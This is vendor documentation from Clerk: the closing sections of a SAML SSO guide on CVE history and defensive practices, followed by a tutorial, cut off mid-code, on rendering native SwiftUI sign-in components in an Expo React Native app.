**DIY.** $27,000–$150,000 year-one engineering and operational cost per SSOJet's 2025 analysis. $10,000–$20,000 per year in ongoing maintenance. CVE-response is on you.

### Time to first production SAML login

- **Clerk via Dashboard:** 1–2 days including IdP round-tripping with the customer.
- **Clerk via `/enterprise_connections` API + existing tests:** 1–3 hours.
- **WorkOS with Admin Portal:** 1 day. Customer IT admin does most of the work through the magic link.
- **Auth0 with Actions customization:** 1–2 weeks. More configuration surface area; Actions require code review.
- **DIY with `@node-saml/passport-saml` and friends:** 4–8 weeks for an MVP. 3–9 months for a production-hardened implementation with admin UI, cert rotation monitoring, and the 2025–2026 CVEs all patched.

### Long-term maintenance considerations

Managed services absorb the CVE cycle for you. Your obligation is to keep the SDK version current and read the release notes when a security advisory lands. DIY means you own every CVE in the SAML stack — which, in the last twelve months, includes:

- **SAMLStorm** (CVE-2025-29774 and CVE-2025-29775) — March 2025. `xml-crypto` ≤ 6.0.0. Signature validation bypass.
- **ruby-saml parser differentials** (CVE-2025-25291 and CVE-2025-25292) — March 2025. Dual-parser XSW class; "Sign in as Anyone" disclosure by GitHub Security Lab.
- **samlify** (CVE-2025-47949) — May 2025. CVSS 9.9. Signature wrapping. Patched in 2.10.0.
- **node-saml** (CVE-2025-54369) — July 2025. Schema-validate-before-signature-verify ordering bug.
- **node-saml** (CVE-2025-54419) — August 2025. Related class, different surface.

Five critical-severity CVEs in the Node.js SAML ecosystem in under twelve months is the ongoing baseline, not an anomaly. If you DIY, your on-call rotation needs a "SAML CVE" runbook.

## Common pitfalls and best practices

### Signature and certificate validation

Schema-validate before signature-verify. The XML parser has to know the document is well-formed before the signature check has any meaning — and more importantly, the parser used for signature validation must be the same parser used for attribute extraction. CVE-2025-25291 and CVE-2025-25292 (ruby-saml, "Sign in as Anyone") and CVE-2025-54369 (node-saml, July 2025) both exploit the gap between two different parsers seeing two different trees.

Always use absolute XPath, not relative XPath. Relative XPath makes signature wrapping trivial because an attacker can inject a signed subtree wherever the parser is looking relatively. Extract attributes only from signed, canonicalized content — never from the original document.

### Clock skew and assertion time windows

SAML assertions carry `NotBefore` and `NotOnOrAfter` constraints. If your server clock drifts even a few seconds, valid assertions get rejected as expired or not-yet-valid. Enforce 1–5 minutes of clock-skew tolerance, synchronize servers with NTP, and cache assertion IDs to prevent replay. If you run more than one SP instance behind a load balancer, share the replay cache in Redis or similar so an assertion used against instance A can't be replayed against instance B.

### Metadata refresh and key rotation

Accept an IdP metadata URL, not a pasted X.509 certificate. Cache the metadata with a version tag and refresh it on a schedule your SP controls (daily is reasonable). Monitor certificate expiry at 60, 30, and 7 days with loud alerts — a silent cert expiry is an Friday-afternoon outage waiting to happen. Support two active signing certificates during rotation windows so the IdP can swap keys without coordinating with you.

Scalekit's analysis of production SSO outages puts certificate rotation mismatches as the single most common cause. A weekend rotation by the customer's IT team, followed by a Monday-morning wave of "SSO is down" tickets, is the canonical failure mode.

### Account linking: matching SSO users to existing accounts

When an existing user (created via magic link or password) later signs in via SAML for the first time, you have a choice: match them to the existing [account](/glossary#account-linking) or create a new one.

Clerk's default is to match if the IdP email matches a Clerk user's *verified* primary email. If the user's existing Clerk email is unverified and "require verified email before linking" is on, a new account is created. Call this edge case out with your customer success team during onboarding — you'll see tickets that look like "my account disappeared" when in reality a new un-linked account was created.

### Handling multiple IdPs for the same tenant

Two common scenarios:

1. **A customer tenant spans multiple email domains** (e.g. `acme.com` primary plus `acme.co.uk` UK subsidiary). Use Clerk's June 2025 "multiple domains per SSO connection" feature to attach all domains to one Organization's single connection.
2. **Genuinely multi-IdP tenants** (an acquired company still signs in with the acquirer's IdP for a while). Create multiple Enterprise Connections scoped to the same Organization. Verify each domain with the correct connection; Clerk routes the sign-in flow by email domain.

### Role and group mapping from IdP claims

Prefer SCIM groups-to-role mapping (Clerk Directory Sync public beta sub-feature) over SAML claim-based role inference. SAML claim mapping runs only on sign-in — if a user's role changes in Okta while they're signed in, your app won't know until their session expires. SCIM updates propagate continuously via PATCH events, so role changes take effect within seconds.

### Testing without a real IdP

MockSAML.com, SAMLTest.id, DummyIDP.com for quick browser-based tests. `boxyhq/mock-saml` Docker for CI. Keycloak Docker for fuller-fidelity including SCIM. Never let "we can only test in prod" survive a code review — there are too many free and self-hosted mock IdPs for that to be acceptable in 2026.

### Graceful degradation when SSO is misconfigured

Keep a break-glass admin account: a non-federated, non-SCIM-managed account with a password stored in a physical safe or offline password manager. Dormant under normal operations. Tested quarterly to confirm the credentials still work. Used only when the IdP is down AND no SSO admin is currently signed in. PagerDuty's publicly documented break-glass pattern is the reference implementation.

Without break-glass, a failed IdP cert rotation on a Saturday morning can lock your own staff out of the admin console until the customer's IT team wakes up on Monday.

### IdP-initiated SSO is usually a trap

Disable IdP-initiated assertions by default. Only enable for specific portal / tile use cases — Okta dashboard, Microsoft MyApps, Google Cloud Identity portal — where the customer has a concrete need. Scott Brady, IdentityServer, and Teleport all recommend this. NIST SP 800-63C (final, July 31, 2025) requires the federation transaction to be RP-initiated at FAL2 and FAL3 (`SHALL`), which effectively rules out unsolicited IdP-initiated assertions whenever you're targeting those assurance levels; at FAL1 the requirement is a `SHOULD`. Auth0's own SAML docs likewise flag IdP-initiated as "not recommended" due to the Login CSRF exposure.

If you must enable IdP-initiated for a specific tile flow:

- Per-connection allowlist — don't enable globally.
- Short assertion TTL (≤ 2 minutes).
- Strict audience and recipient validation — reject any assertion not explicitly intended for your ACS.
- Mandatory `RelayState` round-trip integrity check.

In Clerk, set `allowIdpInitiated: false` on the SAML connection by default (the Step 3 code example in Section 5 does this).

### Debugging is the worst part

SAML debugging is "staring at base64 XML until your eyes bleed." SAML-tracer extension helps. Structured logging with redacted PII helps more. SAMLTool.com decoder for ad-hoc base64-to-XML. The fact that a SAML assertion is signed XML means most of the production debugging tools developers are used to (browser network tab, structured JSON logs) are less useful than they'd be for OIDC. Budget time for this — new engineers on the team will need a few days of exposure before they can triage a SAML error from the logs alone.

## FAQ

## Conclusion and next steps

You've just walked the path from an OAuth-familiar developer who knew the Authorization Code + PKCE flow to someone who can ship production SAML SSO on Next.js 16 with a real IdP, a per-tenant connection model, JIT provisioning, SCIM deprovisioning, a self-serve admin UX, and a CVE-aware security posture. The 2026 reality is that this is about two to three days of focused work with a managed service — Clerk being the default recommendation for Next.js App Router and B2B SaaS, with WorkOS as the alternative when customer-facing Admin Portal is non-negotiable, and Auth0 as the pick when you already live in the Okta ecosystem.

If you've followed along, your app is now enterprise-ready for SAML. Next up on the enterprise posture checklist:

- **Audit logs.** Customers will ask for a downloadable audit log of sign-ins, permission changes, and data access events within the first enterprise deal. Start wiring webhooks to an audit table now; don't wait.
- **IP allowlists.** Procurement sometimes asks whether your app can restrict access by corporate IP range. Managed auth services ship this as a configuration; DIY needs to build it.
- **DPA (Data Processing Agreement).** Legal will ask for a DPA template. Have one ready.
- **Customer-facing SOC 2 Type II.** Most enterprise customers will ask for your SOC 2 Type II report. Start the audit engagement as soon as you have 3 enterprise customers.

### Further reading and reference documentation

- [Clerk Enterprise SSO overview](/docs/guides/configure/auth-strategies/enterprise-connections/overview) — product-level overview of SAML, OIDC, and EASIE in Clerk.
- [Clerk Directory Sync docs](/docs/guides/configure/auth-strategies/enterprise-connections/directory-sync) — configuration, attribute mapping, and role mapping.
- [Clerk Directory Sync GA changelog, April 16, 2026](/changelog/2026-04-16-directory-sync) — GA announcement and public-beta sub-feature notes.
- [Clerk Backend API unification changelog, March 9, 2026](/changelog/2026-03-09-bapi-enterprise-connections) — `/enterprise_connections` endpoint migration.
- [Clerk authorization checks guide](/docs/guides/secure/authorization-checks) — `auth.protect()` vs `has()` trade-offs.
- [OWASP SAML Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html) — the single best DIY reference.
- [NIST SP 800-63-4](https://pages.nist.gov/800-63-4/) (final, July 31, 2025) — federation assurance levels, phishing-resistant MFA guidance.
- [OASIS SAML 2.0 specifications](http://docs.oasis-open.org/security/saml/v2.0/) — Core, Bindings, Profiles, Metadata.
- [IETF RFC 7643](https://datatracker.ietf.org/doc/html/rfc7643) / [RFC 7644](https://datatracker.ietf.org/doc/html/rfc7644) — SCIM Core Schema and Protocol.

---

# How to use SwiftUI components in a React Expo and Clerk app
URL: https://clerk.com/articles/how-to-use-swiftui-components-in-a-react-expo-and-clerk-app.md
Date: 2026-04-17
Description: Ship a React Native Expo app with real SwiftUI on iOS using Clerk's native components. Covers native Google Sign-In, Apple Sign-In, user profile, and Expo Router route protection.

Clerk's [`@clerk/expo`](https://github.com/clerk/javascript/tree/main/packages/expo) package ships a `/native` subpath that exports three React components, `AuthView`, `UserButton`, and `UserProfileView`, which render as real SwiftUI views on iOS. On the JavaScript side you write one React Native component tree; on the device, `UIHostingController` embeds the native SwiftUI view inside React Native's Fabric hierarchy. Apple Sign-In uses the OS-level `ASAuthorizationController` credential sheet. Google Sign-In on iOS uses `ASWebAuthenticationSession`, the same RFC 8252 compliant Safari sheet that Google's own iOS SDK uses internally, because iOS does not expose a system-level Google credential picker.

On Android, the same `<AuthView />` renders as Jetpack Compose, and Google Sign-In goes through the true native Credential Manager bottom sheet. One TypeScript file builds both platforms. This tutorial focuses on iOS and SwiftUI because that's where the bridging work is most visible; Android-specific setup is called out inline where it applies.

> \[!NOTE]
> Clerk's Expo native components are in public beta as of 2026-04-16. The API surface is stable enough to build with, but expect minor breaking changes before general availability. Pin `@clerk/expo@^3.2.0` if you want a reproducible build.

## What you'll build

By the end of this tutorial you'll have an Expo app that:

- Renders `<AuthView />` as a SwiftUI view with native Google Sign-In and native Apple Sign-In on iOS.
- Displays a `<UserButton />` in the Expo Router header that opens the native profile modal on tap.
- Uses `<UserProfileView />` for a dedicated profile screen (personal info, email, [MFA](/docs/guides/development/custom-flows/authentication/multi-factor-authentication), [passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys), connected accounts, active sessions, sign-out).
- Gates the home stack behind `Stack.Protected` so only signed-in users can reach it.
- Runs the same code on Android as Jetpack Compose, with Google Sign-In routed through the Android Credential Manager bottom sheet.

Testing the Google Sign-In flow works on the iOS Simulator. Testing Apple Sign-In reliably requires a physical iPhone. A full end-to-end iOS build takes about 30 minutes from a clean machine.

## Why native authentication beats WebView OAuth

Native credential pickers close a specific attack surface that embedded WebView browsers cannot. Beyond the UX benefits over WebView-based [authentication](/docs/guides/how-clerk-works/overview), that's the security reason standards bodies, Apple, and Google all moved away from WebView OAuth.

### The WebView OAuth problem

Google announced the embedded-WebView OAuth block in August 2016 ([Google Developers Blog, Aug 2016](https://developers.googleblog.com/2016/08/modernizing-oauth-interactions-in-native-apps.html)). New OAuth clients were blocked starting 2016-10-20; existing clients started receiving the `disallowed_useragent` error for WebView traffic on 2017-04-20. The reason is simple: a WebView is part of the host app's process, so the app can inject JavaScript, read the DOM, and capture keystrokes during the OAuth flow. RFC 8252 (BCP 212) codified this in October 2017: "this best current practice requires that native apps MUST NOT use embedded user-agents to perform authorization requests" ([RFC 8252 Section 8.12](https://datatracker.ietf.org/doc/html/rfc8252#section-8.12)). The 2025 OAuth 2.0 Security Best Current Practice (RFC 9700) reaffirmed the external-agent requirement ([RFC 9700, Jan 2025](https://datatracker.ietf.org/doc/rfc9700/)).

Real-world evidence backs this up. Felix Krause demonstrated in August 2022 that Instagram and Facebook's in-app browsers inject tracking JavaScript into every third-party page, including sign-in forms ([Krause, Aug 2022](https://krausefx.com/blog/ios-privacy-instagram-and-facebook-can-track-anything-you-do-on-any-website-in-their-in-app-browser)). That's ambient surveillance; a hostile host app could just as easily capture passwords.

### The compliant-browser alternative

`ASWebAuthenticationSession` on iOS and Chrome Custom Tabs on Android are the standards-compliant alternatives. They run outside the host app's process, share cookies with Safari or Chrome (so users already signed into Google can continue with one tap), and prevent the app from observing keystrokes. This is the baseline every modern [OAuth](/docs/guides/configure/auth-strategies/social-connections/overview) provider hits on iOS.

These sheets still show browser chrome and context-switch the user out of your app's visual flow. That's the UX trade-off: they're secure, but they're not borderless.

### True native credential pickers and where they exist

An OS-level credential sheet, no browser, no URL bar, biometric confirmation, is the best experience available today. But they only exist for specific providers on specific platforms:

- **Apple Sign-In on iOS:** `ASAuthorizationController` / `ASAuthorizationAppleIDProvider` (iOS 13+). No browser.
- **Google Sign-In on Android:** Jetpack Credential Manager (`androidx.credentials.CredentialManager`). A system bottom sheet that surfaces signed-in Google accounts and passkeys.
- **[Passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys) on iOS and Android:** `ASAuthorizationPlatformPublicKeyCredential*` APIs on iOS and Credential Manager on Android.

There is one important asymmetry: iOS has no OS-level Google credential picker. Clerk's `<AuthView />` on iOS routes Google Sign-In through `ASWebAuthenticationSession`, the same path Google's own `GIDSignIn` iOS SDK uses under the hood. The Safari sheet opens, the user taps "Continue with Google," and cookies are shared so most sign-ins are a single tap. But it is still a browser sheet, not a browserless OS picker.

On Android, the same `<AuthView />` invokes Credential Manager and users see the real native bottom sheet. The Android path is the closest modern experience to Apple's on-device credential sheet.

### App Store Guideline 4.8

Apple's App Store Review Guidelines require apps that offer any third-party [social login](/docs/guides/configure/auth-strategies/social-connections/overview) to also offer an equivalent privacy-preserving option (Sign in with Apple qualifies) ([Apple Developer, updated 2026-02-06](https://developer.apple.com/app-store/review/guidelines/#login-services)). Enforcement began on 2020-06-30 ([Apple Developer, 2020](https://developer.apple.com/news/upcoming-requirements/?id=06302020a)). Practically, this means if you ship Google Sign-In, you also ship Apple Sign-In, and the path of least friction is the native `ASAuthorizationAppleIDButton` and credential sheet.

A related requirement, Guideline 5.1.1(v), mandates in-app account deletion since 2022-06-30 ([Apple Developer, 2022](https://developer.apple.com/support/offering-account-deletion-in-your-app/)). Clerk's `<UserProfileView />` surfaces account deletion as part of the native profile flow, so this ships for free.

### The numbers

Measurable conversion gains for native and passkey flows are well-documented:

- **Pinterest:** 126% Android sign-up increase with Google One Tap ([Google Identity, Pinterest case study](https://developers.google.com/identity/sign-in/case-studies/pinterest)).
- **FIDO Passkey Index (Oct 2025):** 93% sign-in success with passkeys vs 63% with other authentication methods (social login, MFA, OTPs) ([FIDO Alliance, Oct 2025](https://fidoalliance.org/wp-content/uploads/2025/10/FIDO-Passkey-Index-October-2025.pdf)).
- **Dashlane:** 92% conversion rate on passkey sign-in opportunities vs 54% on automatic password opportunities, a 70% conversion lift ([Google Developers Blog, Dashlane](https://developers.googleblog.com/password-manager-dashlane-sees-70-increase-in-conversion-rate-for-signing-in-with-passkeys-compared-to-passwords/)).
- **Microsoft:** \~98% success for passkeys vs \~32% for passwords; phishing attacks using adversary-in-the-middle techniques up 146% year-over-year ([Microsoft Security, Dec 2024](https://www.microsoft.com/en-us/security/blog/2024/12/12/convincing-a-billion-users-to-love-passkeys-ux-design-insights-from-microsoft-to-boost-adoption-and-security/)).

The pattern is consistent: when sign-in drops below a browser hop and uses on-device credentials, success rates climb and friction collapses.

## How Clerk's native components render SwiftUI

`@clerk/expo/native` exports three React components. Each one is backed by a real SwiftUI view on iOS, hosted inside React Native's Fabric hierarchy via `UIHostingController` ([Apple Developer](https://developer.apple.com/documentation/swiftui/uihostingcontroller)). Props flow React → C++ Shadow Node → SwiftUI view; events flow back through Fabric's `EventEmitter`. The TypeScript surface hides every bit of that plumbing.

The end-to-end bridge looks like this:

```text
React / TypeScript
   <AuthView mode="signInOrUp" />
              │
              ▼
   Fabric C++ Shadow Node  (props down, events up)
              │
   ┌──────────┴──────────┐
   ▼                     ▼
iOS                   Android
UIHostingController   ComposeView
   │                     │
   ▼                     ▼
SwiftUI view          Jetpack Compose view
(clerk-ios)           (clerk-android)
   │                     │
   ▼                     ▼
ASAuthorizationController,   Credential Manager,
ASWebAuthenticationSession   Chrome Custom Tabs
   │                     │
   └──────────┬──────────┘
              ▼
    native Clerk session
              │
              ▼
    JS Clerk instance → useAuth(), useUser(), useSession()
```

The actual UI lives in the [`clerk-ios`](https://github.com/clerk/clerk-ios) native SDK, which ships as a native dependency of `@clerk/expo`. When a user signs in via the SwiftUI `AuthView`, the native SDK creates a [session](/docs/guides/sessions/session-tokens) and hands it back through the Fabric event emitter. Since `@clerk/expo` 3.1.6, the JavaScript `Clerk` instance syncs bidirectionally with this native session, so `useAuth()`, `useUser()`, and `useSession()` reflect the new state without a page reload ([@clerk/expo CHANGELOG](https://github.com/clerk/javascript/blob/main/packages/expo/CHANGELOG.md)).

Compare that to rolling your own SwiftUI integration. Callstack's "Exposing SwiftUI views to React Native" guide ([Callstack, 2024](https://www.callstack.com/blog/exposing-swiftui-views-to-react-native-an-integration-guide)) lays out the three-layer architecture you'd own: a SwiftUI view, an Objective-C++ wrapper inheriting from `RCTViewComponentView`, and an `ObservableObject` for prop passing. Add a Codegen spec, a `Podspec` for the native dependency, and lifecycle handling for the hosting controller. Cross-platform parity to Jetpack Compose is a second, separate effort.

### Android parity

The same React API renders as Jetpack Compose on Android via Clerk's [`clerk-android`](https://github.com/clerk/clerk-android) SDK. You write one `<AuthView />` import and get SwiftUI on iOS and Compose on Android, with per-platform Google, Apple, and passkey flows. The rest of this tutorial concentrates on iOS; Android-specific bits (Google SHA-1 fingerprint, Credential Manager behaviour) are flagged inline when they apply.

## Comparing native React Native authentication approaches

Four broad options exist when you want real native auth on React Native:

1. **Build your own bridge.** Obj-C++ wrapper around `RCTViewComponentView`, `UIHostingController` hosting a SwiftUI view, repeat for Compose on Android. High effort, high maintenance ([Callstack integration guide](https://www.callstack.com/blog/exposing-swiftui-views-to-react-native-an-integration-guide)).
2. **Redirect-based OAuth libraries.** `react-native-app-auth`, Auth0 React Native, Amplify social login, the Supabase default path, Okta. All route through `ASWebAuthenticationSession` on iOS and Chrome Custom Tabs on Android. Compliant with RFC 8252 and fine for security; still shows browser chrome.
3. **Native credential-picker wrappers.** `expo-apple-authentication`, `@react-native-google-signin/google-signin`, `invertase/react-native-apple-authentication`, and similar packages. They expose the native picker, but you still design every pixel of your sign-in, sign-up, and profile screens.
4. **Pre-built native RN UI.** Clerk's `@clerk/expo/native` is currently the only option that gives you the full set of auth screens, social + email + MFA + profile, as drop-in React components.

| Provider      | Pre-built RN UI | Native Google picker | Native Apple picker | Profile UI | Official RN SDK |
| ------------- | :-------------: | :------------------: | :-----------------: | :--------: | :-------------: |
| Clerk         |                 |                      |                     |            |                 |
| Firebase Auth |                 |       3rd party      |      3rd party      |            |                 |
| Auth0         |                 |                      |                     |            |                 |
| Supabase Auth |                 |       3rd party      |      3rd party      |            |      JS SDK     |
| AWS Amplify   |  Authenticator  |                      |                     |            |                 |
| Stytch        |     StytchUI    |                      |                     |            |                 |
| Descope       |     FlowView    |      via option      |      via option     |            |                 |
| WorkOS        |                 |                      |                     |            |                 |

A few notes the table flattens:

- **Firebase** does not ship pre-built React Native UI. Its documented path is to combine `@react-native-firebase/auth` with `@react-native-google-signin/google-signin` and `invertase/react-native-apple-authentication`, wiring the tokens back into Firebase ([rnfirebase.io, Social Auth](https://rnfirebase.io/auth/social-auth)).
- **Auth0** relies on Universal Login, an `ASWebAuthenticationSession` redirect. There is no native-form option ([Auth0 React Native Quickstart](https://auth0.com/docs/quickstart/native/react-native/interactive)).
- **Supabase** does not expose native React Native UI. Their Apple Sign-In guide walks you through `expo-apple-authentication`, and their Google Sign-In guide uses `@react-native-google-signin/google-signin` ([Supabase Apple](https://supabase.com/docs/guides/auth/social-login/auth-apple); [Supabase Google](https://supabase.com/docs/guides/auth/social-login/auth-google)).
- **Amplify Authenticator** exists for React Native but routes social providers through a browser-based flow ([Amplify Authenticator](https://ui.docs.amplify.aws/react-native/connected-components/authenticator); [Amplify social providers](https://docs.amplify.aws/gen1/react-native/build-a-backend/auth/add-social-provider/)).
- **Stytch** ships a React Native UI configuration that renders a form, but their native social pickers are wrapper-level rather than system-level ([Stytch React Native UI](https://stytch.com/docs/mobile-sdks/react-native-sdk/ui-configuration)).
- **Descope** offers a native-vs-browser toggle per flow; it's flexible, but there is no drop-in profile UI ([Descope native vs browser flows](https://docs.descope.com/mobile-sdk/native-vs-browser-flows)).
- **WorkOS** does not publish a React Native SDK ([WorkOS SDKs list](https://workos.com/docs/sdks)).

If you need full native UI with the least custom code, Clerk is the shortest path today. The rest of this tutorial walks through the implementation.

## Prerequisites

Before you start, make sure you have:

- **Node.js 20.9.0+** (`@clerk/expo` minimum per [its README](https://github.com/clerk/javascript/blob/main/packages/expo/README.md)). React Native 0.81 raises that floor in practice to 20.19.4+, so install the latest LTS Node if you're on an older machine.
- **Expo SDK 54+** (SDK 55 also works). This tutorial pins 54 to match Clerk's [NativeComponentQuickstart](https://github.com/clerk/clerk-expo-quickstart/tree/main/NativeComponentQuickstart) repo.
- **Xcode 16.1+** ([required by React Native 0.81 which ships with SDK 54](https://reactnative.dev/blog/2025/08/12/react-native-0.81)).
- **A Clerk account.** The free Hobby tier includes 50,000 [monthly retained users](/pricing) (MRUs: users who visit your app on a day after sign-up).
- **Google Cloud Console access** for creating OAuth 2.0 client IDs. Free.
- **iOS device and Apple ID setup (read carefully):**
  - A physical iPhone is strongly recommended for the Apple Sign-In section. The iOS Simulator can complete the initial Sign in with Apple authorization flow when a real Apple ID is signed into Settings, but `getCredentialStateAsync` always throws on the Simulator, so any app logic that checks credential state on subsequent launches won't work there ([expo-apple-authentication docs](https://docs.expo.dev/versions/latest/sdk/apple-authentication/)). Google Sign-In via `<AuthView />` works reliably on the Simulator.
  - A free Apple ID builds to the Simulator. Deploying to a physical device and enabling the Sign in with Apple capability for App Store distribution both require an Apple Developer Program membership ($99/year) ([Apple Developer Program](https://developer.apple.com/programs/whats-included/)).
- **Android parity (optional):** Android Studio + Android SDK 24+ if you also want `npx expo run:android`. The Jetpack `androidx.credentials` Credential Manager library supports Android 6.0 (API 23) and higher ([Android Credential Manager](https://developer.android.com/identity/sign-in/credential-manager)).

A quick version check:

```bash
node --version     # v20.9.0 or newer
xcodebuild -version # Xcode 16.1 or newer
```

If either is too old, upgrade before proceeding.

## Why development builds, not Expo Go

Expo Go bundles a fixed set of native modules. `@clerk/expo/native` ships custom native code (the SwiftUI `ClerkAuthView`, the Jetpack Compose equivalent, and the `clerk-ios` / `clerk-android` native SDK dependencies). Expo Go can't load custom native modules, so it can't render these components ([Expo development builds introduction](https://docs.expo.dev/develop/development-builds/introduction/)).

`expo-dev-client` replaces Expo Go. It's the same Debug build of your app, with the Expo Dev Menu and fast refresh wired in ([expo-dev-client](https://docs.expo.dev/versions/latest/sdk/dev-client/)). You install the package once; each `npx expo run:ios` compiles a fresh dev build for your device or simulator.

Two paths to a dev build:

1. **Local.** `npx expo run:ios` / `npx expo run:android`. Zero cloud setup, requires Xcode or Android Studio locally.
2. **EAS.** `eas build --profile development`. Cloud builder, no local Xcode needed. Requires an Expo account and, for iOS device builds, a paid Apple Developer Program membership ([EAS development build](https://docs.expo.dev/develop/development-builds/create-a-build/)).

This tutorial uses local builds for zero-setup reproducibility. EAS is a drop-in swap if that fits your team better.

## Step 1: Create the Expo project

Scaffold a fresh project:

```bash
npx create-expo-app@latest clerk-native-app --template default
cd clerk-native-app
```

Then install Clerk and the two required Expo packages:

```bash
npx expo install @clerk/expo expo-secure-store expo-dev-client
```

Three notes:

- `@clerk/expo` is the Clerk SDK. The native components live under the `@clerk/expo/native` subpath.
- `expo-secure-store` is how the Clerk token cache persists the session JWT securely on device ([Expo SecureStore](https://docs.expo.dev/versions/latest/sdk/securestore/)).
- `expo-dev-client` turns your build into a dev client (replacing Expo Go).

Do **not** install `expo-apple-authentication` or `expo-crypto` yet. `<AuthView />` handles Apple Sign-In internally without them. You'll only need those packages if you later swap to the custom-UI path with `useSignInWithApple()`, covered in Step 6. This matches the [NativeComponentQuickstart `package.json`](https://github.com/clerk/clerk-expo-quickstart/blob/main/NativeComponentQuickstart/package.json).

## Step 2: Configure Clerk

There are four pieces of configuration: the Dashboard application, the Native API, environment variables, and the Clerk plugin in `app.json`.

### Create a Clerk application

[Sign up for a Clerk account](https://dashboard.clerk.com/sign-up) and create a new application. Pick a name, leave the defaults, and copy the [Publishable Key](/docs/guides/development/clerk-environment-variables) from the API keys page.

### Enable the Native API

In the Dashboard, navigate to **Native applications** and click **Enable**. Register your iOS and Android apps ([Clerk iOS production docs](/docs/ios/reference/native-mobile/production); [Clerk Android production docs](/docs/android/reference/native-mobile/production)):

- **iOS:** Apple Team ID + Bundle ID. Team ID is on the [Apple Developer account membership page](https://developer.apple.com/account/#/membership/). Bundle ID matches the `ios.bundleIdentifier` value in your `app.json`, for example `com.yourname.clerknativeapp`.
- **Android:** Package name + SHA-256 debug fingerprint. Get the fingerprint with:

```bash
cd android && ./gradlew signingReport
```

Use the `SHA-256` line under `Variant: debug`. Production apps need the release-signing SHA-256 registered separately.

### Configure environment variables

Create a `.env.local` file at the project root:

```bash
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_...
```

The `EXPO_PUBLIC_` prefix is required for Expo to inline the value into the client bundle.

### Configure the Clerk plugin in `app.json`

Add the `@clerk/expo` plugin alongside `expo-router` and `expo-secure-store`:

```json
{
  "expo": {
    "name": "clerk-native-app",
    "slug": "clerk-native-app",
    "ios": { "bundleIdentifier": "com.yourname.clerknativeapp" },
    "android": { "package": "com.yourname.clerknativeapp" },
    "plugins": ["expo-router", "expo-secure-store", ["@clerk/expo", {}]]
  }
}
```

The plugin accepts two options, verified against `withClerkExpo.ts` in `@clerk/expo` 3.2.0 ([plugin source](https://github.com/clerk/javascript/blob/main/packages/expo/src/plugin/withClerkExpo.ts)):

- `appleSignIn: true` (default). The plugin writes the `com.apple.developer.applesignin` entitlement at prebuild time so Sign in with Apple works out of the box. Set it to `false` only if you're certain you don't need Apple Sign-In.
- `theme: './clerk-theme.json'` (see the Theming section later).

The plugin also reads `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` from the environment if you opt into the native `GIDSignIn` path via `useSignInWithGoogle()`. That's a more advanced use case; `<AuthView />` doesn't need it.

> \[!NOTE]
> The published plugin source does not expose a `keychainService` / App Group option. Keychain sharing between app and extensions lives on the clerk-ios Clerk.Options API and requires a custom config plugin from Expo. See the FAQ for details.

### Wrap the app with `<ClerkProvider>`

Open `app/_layout.tsx` and wrap the root `<Stack>` with [`<ClerkProvider>`](/docs/expo/reference/components/clerk-provider). Use the `tokenCache` export from `@clerk/expo/token-cache` so sessions persist across restarts:

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Stack } from 'expo-router'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <Stack />
    </ClerkProvider>
  )
}
```

The token cache stores the Clerk session [JWT](/docs/guides/sessions/jwt-templates) in `expo-secure-store`, which maps to iOS Keychain and Android EncryptedSharedPreferences ([`tokenCache` source](https://github.com/clerk/javascript/blob/main/packages/expo/src/token-cache/index.ts)). Restart the app and the previous session rehydrates.

## Step 3: Create the development build

From the project root:

```bash
npx expo run:ios
```

The first build compiles React Native and takes several minutes. Subsequent builds cache and finish in tens of seconds. Expo launches the iOS Simulator and runs your app once the build completes. Add `--device` to deploy to a connected iPhone:

```bash
npx expo run:ios --device
```

Success criteria: the app launches with the default Expo welcome screen and no red or yellow boxes. If you see "Native module cannot be null" or similar, you're running in Expo Go or against a stale dev build. Re-run `npx expo run:ios`.

For Android parity, start an emulator and run:

```bash
npx expo run:android
```

See the [Expo iOS development build tutorial](https://docs.expo.dev/tutorial/eas/ios-development-build-for-devices/) if you run into device provisioning issues.

## Step 4: Add Google Sign-In with `<AuthView />`

Google Sign-In needs two places to know about each other: Google Cloud Console (which issues the client IDs) and the Clerk Dashboard (which uses them).

### Google Cloud Console setup (iOS primary)

In the [Google Cloud Console](https://console.cloud.google.com/apis/credentials):

1. Create an OAuth consent screen (External, fill the minimum fields). This is mandatory before you can create OAuth client IDs.
2. Create the OAuth 2.0 client IDs you need:
   - **iOS client ID** (required): use the Bundle ID from your `app.json`.
   - **Web client ID** (required): Clerk uses this for server-side token verification.
   - **Android client ID** (only if building Android): package name plus the SHA-1 debug fingerprint from `./gradlew signingReport`. Production builds need a separate client ID registered with the release SHA-1.

Google's native-apps guide has the canonical walkthrough ([Google Identity, OAuth for Native Apps](https://developers.google.com/identity/protocols/oauth2/native-app)).

### Paste credentials into Clerk Dashboard

In the Dashboard, go to **Social Connections → Google** and paste:

- iOS Client ID.
- Web Client ID.
- Web Client Secret.
- Android Client ID (if applicable).

That's it for configuration. Clerk's config plugin handles the iOS URL scheme; you do not edit `Info.plist` by hand.

### Render `<AuthView />`

Create `app/sign-in.tsx`:

```tsx
import { AuthView } from '@clerk/expo/native'

export default function SignIn() {
  return <AuthView mode="signInOrUp" />
}
```

The `mode` prop accepts three values, verified in [AuthView.types.ts](https://github.com/clerk/javascript/blob/main/packages/expo/src/native/AuthView.types.ts):

- `'signIn'`: sign-in only.
- `'signUp'`: sign-up only.
- `'signInOrUp'` (default): combined flow. The native UI decides based on whether the identifier exists.

The only other prop is `isDismissable: boolean` (default `false`) for presentations where you want the user to be able to close the sheet. There is no `style` or `appearance` prop; theming lives in `clerk-theme.json` (see the Theming section).

### React to auth state changes

Pair `<AuthView />` with `useAuth()` to navigate after sign-in completes. On a fresh native sign-in, there's a short window while the native session syncs into the JavaScript `Clerk` instance; during that window the JS layer sees a `pending` state. Tell `useAuth` to treat `pending` as signed-in so your `useEffect` doesn't misfire:

```tsx
import { AuthView } from '@clerk/expo/native'
import { useAuth } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { useEffect } from 'react'

export default function SignIn() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
